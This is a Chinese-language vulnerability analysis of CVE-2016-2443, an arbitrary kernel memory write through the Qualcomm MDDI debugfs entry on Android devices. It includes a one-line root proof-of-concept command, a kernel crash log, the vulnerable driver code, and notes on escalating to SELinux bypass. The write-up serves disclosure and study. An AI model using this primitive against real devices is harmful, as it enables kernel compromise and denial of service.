近日,谷歌发布 5 月份补丁更新,本次共修复了32个漏洞。其中包含一个Qualcomm漏洞,威胁等级为高危,CVE编号为CVE-2016-2443,CNNVD编码为CNNVD-201605-060。
本文主要分析该漏洞的局限性和可利用性。
测试设备为运行Qualcomm SoC的Nexus 7 2013,感兴趣的读者可以从Google Android资源库( https://android.googlesource.com/kernel/msm/ )下载MSM内核源代码。
AOSP 中与测试设备对应的代码名称为flo。由于内核的master分支为空,因此需要切换分支,例如,检查android-msm-flo-3.4-marshmallow-mr1分支。
Linux kernel 的一个比较有趣的功能和攻击面就是debug filesystem或debugfs,攻击者可以通过与debugfs创建的文件系统交互获取内核代码路径。
以下 引用自 Documentation/filesystems/debugfs.txt 目录下的Linux内核文档,是比较典型的对debugfs的描述:
Debugfs exists as a simple way for kerneldevelopers to make information available to user space. Unlike /proc, which is only meant forinformation about a process, or sysfs, which has strict one-value-per-filerules,debugfs has no rules at all. Developers can put any information they want there.
根据以上描述可知,debugfs是寻找信息泄露和内存损坏漏洞的很好的切入点。除了可以读取内核中的信息,debugfs还提供了多个可以传递数据的入口——潜在地导致内存损坏。
debugfs 挂载在/sys/kernel/debug目录下,并且在Android设备中通常符号链接到/d/目录。
相比从搜索文件系统项开始,更好的是使用相反的方法:内核代码检查。首先,寻找危险的函数和宏,例如writel,并且回溯它们的使用方法检查其是否可以被用户空间的debugfs或devices利用。
writel 宏/函数是相关的实现,但是实际上它的功能等同于void writel(unsignedvalue, address)函数,该函数用于向地址中写入值。也就是说,如果攻击者可以控制address和value参数,那么就可以想内核写入任意内容。
通过搜索代码,发现了debugfs条目的writel函数:
/sys/kernel/debug/mddi/reg -rw-r--r-- root root
该debugfs条目为root用户可写(该限制降低了漏洞的影响程度) ,所有用户可读。
在分析代码前,首先来测试一下POC,以root权限运行:
echo "41414141 42424242" >/sys/kernel/debug/mddi/reg
测试设备内核崩溃并重启,在/proc/last_kmsg中可以查看内核崩溃的摘要信息:
[ 277.320953]Unable to handle kernel paging request at virtual address 41414141
[ 277.321411] pgd = e50fc000
[ 277.321868] [41414141] *pgd=00000000
[ 277.322387] Internal error: Oops: 805 [#1] PREEMPT SMP ARM
[ 277.322662] CPU: 0 Tainted:G W (3.4.0-g8ba2631 #1)
[ 277.323211] PC is at mddi_reg_write+0x40/0x70
[ 277.323486] LR is at mddi_reg_write+0x2c/0x70
[ 277.324005] pc : [<c02e04fc>] lr : [<c02e04e8>] psr:60010013
[ 277.324005] sp : e789bf30 ip :0000000a fp : b6d06196
[ 277.324768]r10: 00000000 r9 : e789a000 r8 : 00000012
[ 277.325042] r7 : 41414141 r6 :41414141 r5 : 42424242 r4 : 00000000
[ 277.325531] r3 : c113f7c0 r2 :00000000 r1 : 00000000 r0 : 00000000
[ 277.325836] Flags: nZCv IRQson FIQs on Mode SVC_32 ISA ARM Segment user
[ 277.326324] Control: 10c5787d Table: a64fc06a DAC: 00000015
可以看出,通过向0×41414141中写入0×42424242导致内核崩溃
注意,以未提权用户权限读取该内容时也可以导致内核崩溃:
cat /sys/kernel/debug/mddi/reg
如果用户可以避免内核崩溃,那么攻击者就可以利用这一点以未提权用户权限导致信息泄露,获取内存中的重要信息。
从后往前看,从在drivers/video/msm/mdp_debugfs.c文件中创建/sys/kernel/debug/mddi/reg条目的代码开始:
dent = debugfs_create_dir("mddi", NULL);
if (IS_ERR(dent)) {
printk(KERN_ERR"%s(%d): debugfs_create_dir fail, error %ld/n",
__FILE__,__LINE__, PTR_ERR(dent));
return -1;
}
if (debugfs_create_file("reg", 0644, dent, 0,&pmdh_fops)
== NULL) {
printk(KERN_ERR"%s(%d): debugfs_create_file: debug fail/n",
__FILE__,__LINE__);
return -1;
}
在该段代码中,内核会创建debugfs条目,并分配pmdh_fops文件操作处理程序(在相同的文件中:drivers/video/msm/mdp_debugfs.c):
static const struct file_operations pmdh_fops = {
.open = mddi_reg_open,
.release =mddi_reg_release,
.read = pmdh_reg_read,
.write =pmdh_reg_write,
};
在pmdh_reg_write成员中有一个用于读取文件系统写入数据的函数(仍然在drivers/video/msm/mdp_debugfs.c文件):
static ssize_t pmdh_reg_write(
struct file *file,
const char __user*buff,
size_t count,
loff_t *ppos)
{
...
cnt =sscanf(debug_buf, "%x %x", &off, &data);
mddi_reg_write(0, off,data);
...
}
在mddi_reg_write函数中会调用我们在上面提到的没有充分边界检查的writel函数(drivers/video/msm/mdp_debugfs.c文件):
static void mddi_reg_write(int ndx, uint32 off, uint32 data)
{
...
writel(data, base +off);
...
}
对于读操作,这是一个非常类似的代码路径:mddi_reg_read -> readl
在本篇文章中主要介绍内核崩溃,有兴趣的读者可以尝试一下内存泄露的利用。
任意内核内存写入是内核漏洞利用最基本的方式,因此比较容易实现。例如,可以覆盖函数指针,劫持内核进而执行任意代码。
与用户空间相比,内核代码执行在Android平台上效果会更加显著。如果想要尝试利用TrustZone,就需要在内核中执行代码。
利用该漏洞首先要root。其中一个利用实例为:如果获取了一个root服务的代码执行权限,但是它的SELinux上下文是受限制的,那么就需要利用该漏洞完全禁用SELinux,获取不受限制的系统完全访问权限。